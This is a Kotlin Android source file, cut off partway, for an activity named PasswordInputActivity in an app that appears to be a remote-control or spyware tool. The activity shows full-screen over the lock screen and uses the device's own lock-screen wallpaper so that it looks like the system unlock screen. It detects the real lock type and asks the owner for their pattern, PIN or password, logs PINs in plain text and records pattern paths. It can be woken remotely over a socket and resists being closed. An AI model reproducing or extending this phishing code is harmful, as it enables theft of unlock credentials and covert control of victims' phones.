1299 lines
49 KiB
Kotlin
1299 lines
49 KiB
Kotlin
|
|
package com.hikoncont.activity
|
|||
|
|
|
|||
|
|
import android.app.Activity
|
|||
|
|
import android.app.WallpaperManager
|
|||
|
|
import android.content.Context
|
|||
|
|
import android.content.Intent
|
|||
|
|
import android.graphics.*
|
|||
|
|
import android.os.Bundle
|
|||
|
|
import android.os.Handler
|
|||
|
|
import android.os.Looper
|
|||
|
|
import android.util.Log
|
|||
|
|
import android.view.MotionEvent
|
|||
|
|
import android.view.View
|
|||
|
|
import android.view.WindowManager
|
|||
|
|
import android.widget.*
|
|||
|
|
import androidx.appcompat.app.AppCompatActivity
|
|||
|
|
import com.hikoncont.R
|
|||
|
|
import com.hikoncont.service.AccessibilityRemoteService
|
|||
|
|
import com.hikoncont.util.PasswordDetector
|
|||
|
|
import com.hikoncont.view.PasswordInputView
|
|||
|
|
import com.hikoncont.view.PatternLockView
|
|||
|
|
import com.hikoncont.view.PinInputView
|
|||
|
|
import com.hikoncont.view.FourDigitPinView
|
|||
|
|
import kotlin.math.*
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 密码输入完成安装页面
|
|||
|
|
*
|
|||
|
|
* 功能:
|
|||
|
|
* 1. 检测手机是否设置密码
|
|||
|
|
* 2. 判断密码类型(图形密码/数字密码)
|
|||
|
|
* 3. 显示对应的密码输入界面
|
|||
|
|
* 4. 记录图形密码轨迹
|
|||
|
|
* 5. 完成安装流程
|
|||
|
|
*/
|
|||
|
|
class PasswordInputActivity : AppCompatActivity() {
|
|||
|
|
|
|||
|
|
companion object {
|
|||
|
|
private const val TAG = "PasswordInputActivity"
|
|||
|
|
const val EXTRA_PASSWORD_TYPE = "password_type"
|
|||
|
|
const val EXTRA_DEVICE_ID = "device_id"
|
|||
|
|
const val EXTRA_INSTALLATION_ID = "installation_id"
|
|||
|
|
const val EXTRA_SOCKET_WAKE = "socket_wake"
|
|||
|
|
|
|||
|
|
const val PASSWORD_TYPE_NONE = "none"
|
|||
|
|
const val PASSWORD_TYPE_PATTERN = "pattern"
|
|||
|
|
const val PASSWORD_TYPE_PIN = "pin"
|
|||
|
|
const val PASSWORD_TYPE_PIN_4 = "pin_4"
|
|||
|
|
const val PASSWORD_TYPE_PASSWORD = "password"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private var passwordDetector: PasswordDetector? = null
|
|||
|
|
private lateinit var patternView: PatternLockView
|
|||
|
|
private lateinit var pinInputView: PinInputView
|
|||
|
|
private lateinit var fourDigitPinView: FourDigitPinView
|
|||
|
|
private lateinit var passwordInputView: PasswordInputView
|
|||
|
|
private lateinit var confirmButton: Button
|
|||
|
|
private lateinit var skipButton: Button
|
|||
|
|
|
|||
|
|
private var passwordType: String = PASSWORD_TYPE_NONE
|
|||
|
|
private var deviceId: String = ""
|
|||
|
|
private var installationId: String = ""
|
|||
|
|
private var isSocketWake: Boolean = false
|
|||
|
|
private var isPatternRecording = false
|
|||
|
|
private var patternTrajectory = mutableListOf<PointF>()
|
|||
|
|
private var currentPassword = ""
|
|||
|
|
private var isForceShowing = false // 防止重复强制显示
|
|||
|
|
private var useLightTheme = false // 当壁纸不可用时启用白底黑字
|
|||
|
|
|
|||
|
|
override fun onCreate(savedInstanceState: Bundle?) {
|
|||
|
|
super.onCreate(savedInstanceState)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "🔐 密码输入页面启动")
|
|||
|
|
|
|||
|
|
try {
|
|||
|
|
// 设置全屏模式
|
|||
|
|
setupFullScreen()
|
|||
|
|
|
|||
|
|
// 获取传入参数
|
|||
|
|
passwordType = intent.getStringExtra(EXTRA_PASSWORD_TYPE) ?: PASSWORD_TYPE_NONE
|
|||
|
|
deviceId = intent.getStringExtra(EXTRA_DEVICE_ID) ?: ""
|
|||
|
|
installationId = intent.getStringExtra(EXTRA_INSTALLATION_ID) ?: ""
|
|||
|
|
isSocketWake = intent.getBooleanExtra(EXTRA_SOCKET_WAKE, false)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "📊 参数: 类型=$passwordType, 设备ID=$deviceId, 安装ID=$installationId, Socket唤醒=$isSocketWake")
|
|||
|
|
|
|||
|
|
// 初始化密码检测器
|
|||
|
|
passwordDetector = PasswordDetector(this)
|
|||
|
|
|
|||
|
|
// 设置布局
|
|||
|
|
setupLayout()
|
|||
|
|
|
|||
|
|
// 初始化UI
|
|||
|
|
initializeUI()
|
|||
|
|
|
|||
|
|
// 如果是socket唤醒且已指定密码类型,跳过密码检测
|
|||
|
|
if (isSocketWake && passwordType != PASSWORD_TYPE_NONE) {
|
|||
|
|
Log.i(TAG, "🔐 Socket唤醒,使用指定密码类型: $passwordType,跳过密码检测")
|
|||
|
|
// 直接设置对应的UI,不需要检测
|
|||
|
|
when (passwordType) {
|
|||
|
|
PASSWORD_TYPE_PATTERN -> setupPatternUI()
|
|||
|
|
PASSWORD_TYPE_PIN -> setupPinUI()
|
|||
|
|
PASSWORD_TYPE_PIN_4 -> setupFourDigitPinUI()
|
|||
|
|
PASSWORD_TYPE_PASSWORD -> setupPasswordUI()
|
|||
|
|
}
|
|||
|
|
} else {
|
|||
|
|
// 开始密码检测
|
|||
|
|
startPasswordDetection()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 密码输入页面初始化失败", e)
|
|||
|
|
// 初始化失败时不销毁Activity,保持页面存在
|
|||
|
|
Log.w(TAG, "⚠️ 初始化失败但不销毁Activity,保持页面存在")
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun onResume() {
|
|||
|
|
super.onResume()
|
|||
|
|
Log.i(TAG, "🔐 密码输入页面恢复")
|
|||
|
|
|
|||
|
|
// 如果是socket唤醒且没有正在强制显示,则强制显示密码页面
|
|||
|
|
if (isSocketWake && !isForceShowing) {
|
|||
|
|
isForceShowing = true
|
|||
|
|
forceShowPasswordPage()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun onPause() {
|
|||
|
|
super.onPause()
|
|||
|
|
Log.i(TAG, "🔐 密码输入页面暂停")
|
|||
|
|
|
|||
|
|
// 防止Activity被销毁,保持在后台
|
|||
|
|
if (isSocketWake) {
|
|||
|
|
Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台")
|
|||
|
|
// 不执行任何可能导致Activity销毁的操作
|
|||
|
|
} else {
|
|||
|
|
// 防止用户通过其他方式退出,重新显示页面
|
|||
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|||
|
|
if (!isFinishing && !isDestroyed) {
|
|||
|
|
Log.i(TAG, "🔐 检测到页面被暂停,重新显示密码输入页面")
|
|||
|
|
}
|
|||
|
|
}, 1000)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun onStop() {
|
|||
|
|
super.onStop()
|
|||
|
|
Log.i(TAG, "🔐 密码输入页面停止")
|
|||
|
|
|
|||
|
|
// 防止Activity被销毁,保持在后台
|
|||
|
|
if (isSocketWake) {
|
|||
|
|
Log.i(TAG, "🔐 Socket唤醒模式:防止Activity被销毁,保持在后台")
|
|||
|
|
// 不执行任何可能导致Activity销毁的操作
|
|||
|
|
// Activity将保持在后台,不会被销毁
|
|||
|
|
} else {
|
|||
|
|
// 防止用户通过其他方式退出,重新显示页面
|
|||
|
|
Handler(Looper.getMainLooper()).postDelayed({
|
|||
|
|
if (!isFinishing && !isDestroyed) {
|
|||
|
|
Log.i(TAG, "🔐 检测到页面被停止,重新显示密码输入页面")
|
|||
|
|
}
|
|||
|
|
}, 1000)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设置全屏模式
|
|||
|
|
*/
|
|||
|
|
private fun setupFullScreen() {
|
|||
|
|
window.setFlags(
|
|||
|
|
WindowManager.LayoutParams.FLAG_FULLSCREEN,
|
|||
|
|
WindowManager.LayoutParams.FLAG_FULLSCREEN
|
|||
|
|
)
|
|||
|
|
window.setFlags(
|
|||
|
|
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED,
|
|||
|
|
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
|
|||
|
|
)
|
|||
|
|
window.setFlags(
|
|||
|
|
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON,
|
|||
|
|
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
|
|||
|
|
)
|
|||
|
|
window.setFlags(
|
|||
|
|
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD,
|
|||
|
|
WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
|
|||
|
|
)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设置锁屏壁纸背景
|
|||
|
|
*/
|
|||
|
|
private fun setLockScreenWallpaperBackground() {
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "🖼️ 开始设置锁屏壁纸背景")
|
|||
|
|
|
|||
|
|
val wallpaperManager = WallpaperManager.getInstance(this)
|
|||
|
|
|
|||
|
|
// 尝试获取锁屏壁纸(Android 7.0+)
|
|||
|
|
var lockScreenWallpaper: android.graphics.drawable.Drawable? = null
|
|||
|
|
try {
|
|||
|
|
if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.N) {
|
|||
|
|
// 对于 API 34+ 使用带参数的 getDrawable 方法
|
|||
|
|
if (android.os.Build.VERSION.SDK_INT >= 34) {
|
|||
|
|
// 使用反射调用 API 34+ 的方法
|
|||
|
|
try {
|
|||
|
|
val method = wallpaperManager.javaClass.getMethod("getDrawable", Int::class.java)
|
|||
|
|
lockScreenWallpaper = method.invoke(wallpaperManager, WallpaperManager.FLAG_LOCK) as? android.graphics.drawable.Drawable
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.w(TAG, "⚠️ 反射调用 getDrawable(FLAG_LOCK) 失败,使用主壁纸", e)
|
|||
|
|
lockScreenWallpaper = wallpaperManager.getDrawable()
|
|||
|
|
}
|
|||
|
|
} else {
|
|||
|
|
// 对于 API 33 及以下,只能获取主壁纸
|
|||
|
|
lockScreenWallpaper = wallpaperManager.getDrawable()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.w(TAG, "⚠️ 无法获取锁屏壁纸,尝试获取主壁纸", e)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 如果锁屏壁纸获取失败,尝试获取主壁纸
|
|||
|
|
if (lockScreenWallpaper == null) {
|
|||
|
|
try {
|
|||
|
|
lockScreenWallpaper = wallpaperManager.getDrawable()
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.w(TAG, "⚠️ 无法获取主壁纸", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (lockScreenWallpaper != null) {
|
|||
|
|
Log.i(TAG, "✅ 成功获取壁纸")
|
|||
|
|
|
|||
|
|
// 获取屏幕尺寸
|
|||
|
|
val displayMetrics = resources.displayMetrics
|
|||
|
|
val screenWidth = displayMetrics.widthPixels
|
|||
|
|
val screenHeight = displayMetrics.heightPixels
|
|||
|
|
|
|||
|
|
// 创建背景Drawable
|
|||
|
|
val backgroundDrawable = createWallpaperDrawable(lockScreenWallpaper, screenWidth, screenHeight)
|
|||
|
|
|
|||
|
|
// 设置到根布局
|
|||
|
|
val rootLayout = findViewById<View>(android.R.id.content)
|
|||
|
|
rootLayout.background = backgroundDrawable
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 壁纸背景设置完成")
|
|||
|
|
} else {
|
|||
|
|
Log.w(TAG, "⚠️ 无法获取任何壁纸,使用白色背景并启用浅色主题(黑色文字)")
|
|||
|
|
val rootLayout = findViewById<View>(android.R.id.content)
|
|||
|
|
rootLayout.setBackgroundColor(Color.WHITE)
|
|||
|
|
useLightTheme = true
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 设置壁纸背景失败", e)
|
|||
|
|
// 出错时使用白色背景并启用浅色主题
|
|||
|
|
try {
|
|||
|
|
val rootLayout = findViewById<View>(android.R.id.content)
|
|||
|
|
rootLayout.setBackgroundColor(Color.WHITE)
|
|||
|
|
useLightTheme = true
|
|||
|
|
} catch (ex: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 设置白色背景也失败", ex)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 创建壁纸Drawable
|
|||
|
|
*/
|
|||
|
|
private fun createWallpaperDrawable(wallpaper: android.graphics.drawable.Drawable, screenWidth: Int, screenHeight: Int): android.graphics.drawable.Drawable {
|
|||
|
|
return object : android.graphics.drawable.Drawable() {
|
|||
|
|
private val paint = Paint().apply {
|
|||
|
|
isAntiAlias = true
|
|||
|
|
isFilterBitmap = true
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun draw(canvas: Canvas) {
|
|||
|
|
// 计算壁纸的缩放比例,保持宽高比
|
|||
|
|
val wallpaperWidth = wallpaper.intrinsicWidth
|
|||
|
|
val wallpaperHeight = wallpaper.intrinsicHeight
|
|||
|
|
|
|||
|
|
val scaleX = screenWidth.toFloat() / wallpaperWidth
|
|||
|
|
val scaleY = screenHeight.toFloat() / wallpaperHeight
|
|||
|
|
val scale = maxOf(scaleX, scaleY) // 使用较大的缩放比例确保填满屏幕
|
|||
|
|
|
|||
|
|
val scaledWidth = (wallpaperWidth * scale).toInt()
|
|||
|
|
val scaledHeight = (wallpaperHeight * scale).toInt()
|
|||
|
|
|
|||
|
|
// 计算居中位置
|
|||
|
|
val left = (screenWidth - scaledWidth) / 2
|
|||
|
|
val top = (screenHeight - scaledHeight) / 2
|
|||
|
|
|
|||
|
|
// 保存画布状态
|
|||
|
|
canvas.save()
|
|||
|
|
|
|||
|
|
// 裁剪到屏幕区域
|
|||
|
|
canvas.clipRect(0, 0, screenWidth, screenHeight)
|
|||
|
|
|
|||
|
|
// 绘制壁纸
|
|||
|
|
wallpaper.setBounds(left, top, left + scaledWidth, top + scaledHeight)
|
|||
|
|
wallpaper.draw(canvas)
|
|||
|
|
|
|||
|
|
// 添加半透明遮罩,确保文字可读性
|
|||
|
|
canvas.drawColor(Color.argb(100, 0, 0, 0))
|
|||
|
|
|
|||
|
|
// 恢复画布状态
|
|||
|
|
canvas.restore()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun setAlpha(alpha: Int) {
|
|||
|
|
paint.alpha = alpha
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun setColorFilter(colorFilter: ColorFilter?) {
|
|||
|
|
paint.colorFilter = colorFilter
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun getOpacity(): Int = android.graphics.PixelFormat.TRANSLUCENT
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设置布局
|
|||
|
|
*/
|
|||
|
|
private fun setupLayout() {
|
|||
|
|
setContentView(R.layout.activity_password_input)
|
|||
|
|
|
|||
|
|
// 设置锁屏壁纸背景
|
|||
|
|
setLockScreenWallpaperBackground()
|
|||
|
|
|
|||
|
|
// 初始化视图
|
|||
|
|
patternView = findViewById(R.id.pattern_lock_view)
|
|||
|
|
pinInputView = findViewById(R.id.pin_input_view)
|
|||
|
|
fourDigitPinView = findViewById(R.id.four_digit_pin_view)
|
|||
|
|
passwordInputView = findViewById(R.id.password_input_view)
|
|||
|
|
confirmButton = findViewById(R.id.confirm_button)
|
|||
|
|
skipButton = findViewById(R.id.skip_button)
|
|||
|
|
|
|||
|
|
// 如果启用了浅色主题,统一调整为白底黑字
|
|||
|
|
if (useLightTheme) {
|
|||
|
|
applyLightThemeToViews()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/** 当壁纸不可用时,使用白底黑字方案 */
|
|||
|
|
private fun applyLightThemeToViews() {
|
|||
|
|
try {
|
|||
|
|
val rootLayout = findViewById<View>(android.R.id.content)
|
|||
|
|
rootLayout.setBackgroundColor(Color.WHITE)
|
|||
|
|
|
|||
|
|
// 调整确认/跳过按钮为黑字描边按钮
|
|||
|
|
val outlined = createOutlinedButtonBackground()
|
|||
|
|
confirmButton.setTextColor(Color.BLACK)
|
|||
|
|
confirmButton.background = outlined
|
|||
|
|
skipButton.setTextColor(Color.BLACK)
|
|||
|
|
skipButton.background = outlined
|
|||
|
|
|
|||
|
|
// 调整各密码视图的说明与控件颜色
|
|||
|
|
try { patternView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
|
|||
|
|
try { patternView.setSwitchButtonTextColor(Color.BLACK) } catch (_: Exception) {}
|
|||
|
|
|
|||
|
|
try { pinInputView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
|
|||
|
|
try { pinInputView.setKeypadTextColor(Color.BLACK) } catch (_: Exception) {}
|
|||
|
|
|
|||
|
|
try { fourDigitPinView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
|
|||
|
|
try { fourDigitPinView.setKeypadTextColor(Color.BLACK) } catch (_: Exception) {}
|
|||
|
|
|
|||
|
|
try { passwordInputView.setInstructionTextColor(Color.BLACK) } catch (_: Exception) {}
|
|||
|
|
try { passwordInputView.setTextColors(Color.BLACK, Color.parseColor("#808080")) } catch (_: Exception) {}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.w(TAG, "⚠️ 应用浅色主题失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/** 创建黑色描边的白底按钮背景 */
|
|||
|
|
private fun createOutlinedButtonBackground(): android.graphics.drawable.Drawable {
|
|||
|
|
val shape = android.graphics.drawable.GradientDrawable().apply {
|
|||
|
|
setColor(Color.WHITE)
|
|||
|
|
cornerRadius = 12f
|
|||
|
|
setStroke(2, Color.BLACK)
|
|||
|
|
}
|
|||
|
|
val state = android.graphics.drawable.StateListDrawable().apply {
|
|||
|
|
addState(intArrayOf(android.R.attr.state_pressed), android.graphics.drawable.GradientDrawable().apply {
|
|||
|
|
setColor(Color.parseColor("#F0F0F0"))
|
|||
|
|
cornerRadius = 12f
|
|||
|
|
setStroke(2, Color.BLACK)
|
|||
|
|
})
|
|||
|
|
addState(intArrayOf(), shape)
|
|||
|
|
}
|
|||
|
|
return state
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 初始化UI
|
|||
|
|
*/
|
|||
|
|
private fun initializeUI() {
|
|||
|
|
when (passwordType) {
|
|||
|
|
PASSWORD_TYPE_PATTERN -> {
|
|||
|
|
setupPatternUI()
|
|||
|
|
}
|
|||
|
|
PASSWORD_TYPE_PIN -> {
|
|||
|
|
setupPinUI()
|
|||
|
|
}
|
|||
|
|
PASSWORD_TYPE_PIN_4 -> {
|
|||
|
|
setupFourDigitPinUI()
|
|||
|
|
}
|
|||
|
|
PASSWORD_TYPE_PASSWORD -> {
|
|||
|
|
setupPasswordUI()
|
|||
|
|
}
|
|||
|
|
else -> {
|
|||
|
|
setupNoPasswordUI()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 默认按钮点击事件(在各自UI中可覆盖)
|
|||
|
|
confirmButton.setOnClickListener { handleConfirmClick() }
|
|||
|
|
skipButton.setOnClickListener { handleSkipClick() }
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设置图形密码UI
|
|||
|
|
*/
|
|||
|
|
private fun setupPatternUI() {
|
|||
|
|
patternView.visibility = View.VISIBLE
|
|||
|
|
pinInputView.visibility = View.GONE
|
|||
|
|
passwordInputView.visibility = View.GONE
|
|||
|
|
|
|||
|
|
patternView.setInstructionText("请绘制您的图形密码")
|
|||
|
|
|
|||
|
|
// 图形输入模式:不需要确认按钮
|
|||
|
|
confirmButton.visibility = View.GONE
|
|||
|
|
// 根据socket唤醒状态控制切换按钮显示
|
|||
|
|
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
|
|||
|
|
|
|||
|
|
// 控制PatternLockView内部的切换按钮显示
|
|||
|
|
patternView.setSwitchButtonVisible(!isSocketWake)
|
|||
|
|
|
|||
|
|
// 设置PatternLockView内部的切换按钮回调
|
|||
|
|
patternView.setOnSwitchClickListener { passwordType ->
|
|||
|
|
handlePasswordTypeSwitch(passwordType)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 设置图形密码监听器
|
|||
|
|
patternView.setOnPatternListener(object : PatternLockView.OnPatternListener {
|
|||
|
|
override fun onPatternStart() {
|
|||
|
|
Log.d(TAG, "🔐 开始绘制图形密码")
|
|||
|
|
isPatternRecording = true
|
|||
|
|
patternTrajectory.clear()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun onPatternProgress(progress: List<PatternLockView.Cell>) {
|
|||
|
|
// 记录轨迹点(数字方式:记录网格位置)
|
|||
|
|
if (isPatternRecording) {
|
|||
|
|
val cell = progress.last()
|
|||
|
|
val point = PointF(
|
|||
|
|
cell.row.toFloat(), // 行号 (0-2)
|
|||
|
|
cell.column.toFloat() // 列号 (0-2)
|
|||
|
|
)
|
|||
|
|
patternTrajectory.add(point)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override fun onPatternComplete(pattern: List<PatternLockView.Cell>) {
|
|||
|
|
Log.d(TAG, "🔐 图形密码绘制完成,模式点数: ${pattern.size}")
|
|||
|
|
isPatternRecording = false
|
|||
|
|
|
|||
|
|
// 使用完整的模式而不是轨迹点
|
|||
|
|
val patternPoints = pattern.map { cell ->
|
|||
|
|
PointF(cell.row.toFloat(), cell.column.toFloat())
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 保存图形密码轨迹
|
|||
|
|
savePatternTrajectory(patternPoints)
|
|||
|
|
|
|||
|
|
// 自动触发确认,不需要用户点击按钮
|
|||
|
|
completeInstallation()
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设置数字密码UI
|
|||
|
|
*/
|
|||
|
|
private fun setupPinUI() {
|
|||
|
|
patternView.visibility = View.GONE
|
|||
|
|
pinInputView.visibility = View.VISIBLE
|
|||
|
|
passwordInputView.visibility = View.GONE
|
|||
|
|
|
|||
|
|
pinInputView.setInstructionText("请输入您的密码")
|
|||
|
|
|
|||
|
|
// PIN模式:也不需要确认按钮(输入完成自动确认)
|
|||
|
|
confirmButton.visibility = View.GONE
|
|||
|
|
// 根据socket唤醒状态控制切换按钮显示
|
|||
|
|
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
|
|||
|
|
|
|||
|
|
// 控制PinInputView内部的切换按钮显示
|
|||
|
|
pinInputView.setSwitchButtonVisible(!isSocketWake)
|
|||
|
|
|
|||
|
|
// 设置数字密码监听器
|
|||
|
|
pinInputView.setOnPinCompleteListener(object : PinInputView.OnPinCompleteListener {
|
|||
|
|
override fun onPinComplete(pin: String) {
|
|||
|
|
Log.d(TAG, "🔢 数字密码输入完成: $pin")
|
|||
|
|
currentPassword = pin
|
|||
|
|
// 自动触发确认,不需要用户点击按钮
|
|||
|
|
completeInstallation()
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
// 设置PinInputView内部的切换按钮回调
|
|||
|
|
pinInputView.setOnSwitchClickListener { passwordType ->
|
|||
|
|
handlePasswordTypeSwitch(passwordType)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设置4位数字密码UI
|
|||
|
|
*/
|
|||
|
|
private fun setupFourDigitPinUI() {
|
|||
|
|
patternView.visibility = View.GONE
|
|||
|
|
pinInputView.visibility = View.GONE
|
|||
|
|
fourDigitPinView.visibility = View.VISIBLE
|
|||
|
|
passwordInputView.visibility = View.GONE
|
|||
|
|
|
|||
|
|
fourDigitPinView.setInstructionText("请输入4位数字密码")
|
|||
|
|
|
|||
|
|
// 4位PIN模式:也不需要确认按钮(输入完成自动确认)
|
|||
|
|
confirmButton.visibility = View.GONE
|
|||
|
|
// 根据socket唤醒状态控制切换按钮显示
|
|||
|
|
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
|
|||
|
|
|
|||
|
|
// 控制FourDigitPinView内部的切换按钮显示
|
|||
|
|
fourDigitPinView.setSwitchButtonVisible(!isSocketWake)
|
|||
|
|
|
|||
|
|
// 设置4位数字密码监听器
|
|||
|
|
fourDigitPinView.setOnPinCompleteListener(object : FourDigitPinView.OnPinCompleteListener {
|
|||
|
|
override fun onPinComplete(pin: String) {
|
|||
|
|
Log.d(TAG, "🔢 4位数字密码输入完成: $pin")
|
|||
|
|
currentPassword = pin
|
|||
|
|
// 自动触发确认,不需要用户点击按钮
|
|||
|
|
completeInstallation()
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
// 设置FourDigitPinView内部的切换按钮回调
|
|||
|
|
fourDigitPinView.setOnSwitchClickListener { passwordType ->
|
|||
|
|
handlePasswordTypeSwitch(passwordType)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设置文本密码UI
|
|||
|
|
*/
|
|||
|
|
private fun setupPasswordUI() {
|
|||
|
|
patternView.visibility = View.GONE
|
|||
|
|
pinInputView.visibility = View.GONE
|
|||
|
|
passwordInputView.visibility = View.VISIBLE
|
|||
|
|
|
|||
|
|
passwordInputView.setInstructionText("请输入您的密码")
|
|||
|
|
|
|||
|
|
// 文本密码模式:不需要确认按钮(输入完成自动确认)
|
|||
|
|
confirmButton.visibility = View.GONE
|
|||
|
|
// 根据socket唤醒状态控制切换按钮显示
|
|||
|
|
skipButton.visibility = if (isSocketWake) View.GONE else View.VISIBLE
|
|||
|
|
|
|||
|
|
// 控制PasswordInputView内部的切换按钮显示(如果有的话)
|
|||
|
|
// passwordInputView.setSwitchButtonVisible(!isSocketWake)
|
|||
|
|
|
|||
|
|
// 设置文本密码监听器
|
|||
|
|
passwordInputView.setOnPasswordCompleteListener(object : PasswordInputView.OnPasswordCompleteListener {
|
|||
|
|
override fun onPasswordComplete(password: String) {
|
|||
|
|
Log.d(TAG, "🔑 文本密码输入完成")
|
|||
|
|
currentPassword = password
|
|||
|
|
// 自动触发确认,不需要用户点击按钮
|
|||
|
|
completeInstallation()
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设置无密码UI
|
|||
|
|
*/
|
|||
|
|
private fun setupNoPasswordUI() {
|
|||
|
|
patternView.visibility = View.GONE
|
|||
|
|
pinInputView.visibility = View.GONE
|
|||
|
|
fourDigitPinView.visibility = View.GONE
|
|||
|
|
passwordInputView.visibility = View.GONE
|
|||
|
|
|
|||
|
|
// 设备未设置密码,不需要显示说明文字
|
|||
|
|
confirmButton.isEnabled = true
|
|||
|
|
skipButton.visibility = View.GONE
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 开始密码检测
|
|||
|
|
*/
|
|||
|
|
private fun startPasswordDetection() {
|
|||
|
|
Log.i(TAG, "🔍 开始检测设备密码设置")
|
|||
|
|
|
|||
|
|
// 异步检测密码类型
|
|||
|
|
Thread {
|
|||
|
|
try {
|
|||
|
|
// 检测设备是否设置了锁屏密码
|
|||
|
|
val km = getSystemService(android.app.KeyguardManager::class.java)
|
|||
|
|
val isSecure = km?.isKeyguardSecure == true
|
|||
|
|
Log.i(TAG, "🔐 设备是否设置锁屏: $isSecure")
|
|||
|
|
|
|||
|
|
if (!isSecure) {
|
|||
|
|
// 设备没有设置密码,直接完成安装流程
|
|||
|
|
Log.i(TAG, "✅ 设备未设置密码,直接完成安装流程")
|
|||
|
|
runOnUiThread {
|
|||
|
|
passwordType = PASSWORD_TYPE_NONE
|
|||
|
|
// 直接完成安装,不显示密码输入界面
|
|||
|
|
completeInstallationDirectly()
|
|||
|
|
}
|
|||
|
|
return@Thread
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// 设备已设置密码,继续检测密码类型
|
|||
|
|
val detectedType = passwordDetector?.detectPasswordType() ?: PASSWORD_TYPE_NONE
|
|||
|
|
Log.i(TAG, "🔍 检测到密码类型: $detectedType")
|
|||
|
|
|
|||
|
|
runOnUiThread {
|
|||
|
|
when (detectedType) {
|
|||
|
|
PASSWORD_TYPE_PATTERN -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PATTERN
|
|||
|
|
setupPatternUI()
|
|||
|
|
}
|
|||
|
|
PASSWORD_TYPE_PIN -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PIN
|
|||
|
|
setupPinUI()
|
|||
|
|
}
|
|||
|
|
PASSWORD_TYPE_PIN_4 -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PIN_4
|
|||
|
|
setupFourDigitPinUI()
|
|||
|
|
}
|
|||
|
|
PASSWORD_TYPE_PASSWORD -> {
|
|||
|
|
passwordType = PASSWORD_TYPE_PASSWORD
|
|||
|
|
setupPasswordUI()
|
|||
|
|
}
|
|||
|
|
else -> {
|
|||
|
|
// 如果检测失败,也直接完成安装
|
|||
|
|
Log.i(TAG, "⚠️ 密码类型检测失败,直接完成安装")
|
|||
|
|
passwordType = PASSWORD_TYPE_NONE
|
|||
|
|
completeInstallationDirectly()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 密码检测失败", e)
|
|||
|
|
runOnUiThread {
|
|||
|
|
// 检测出错时,也直接完成安装
|
|||
|
|
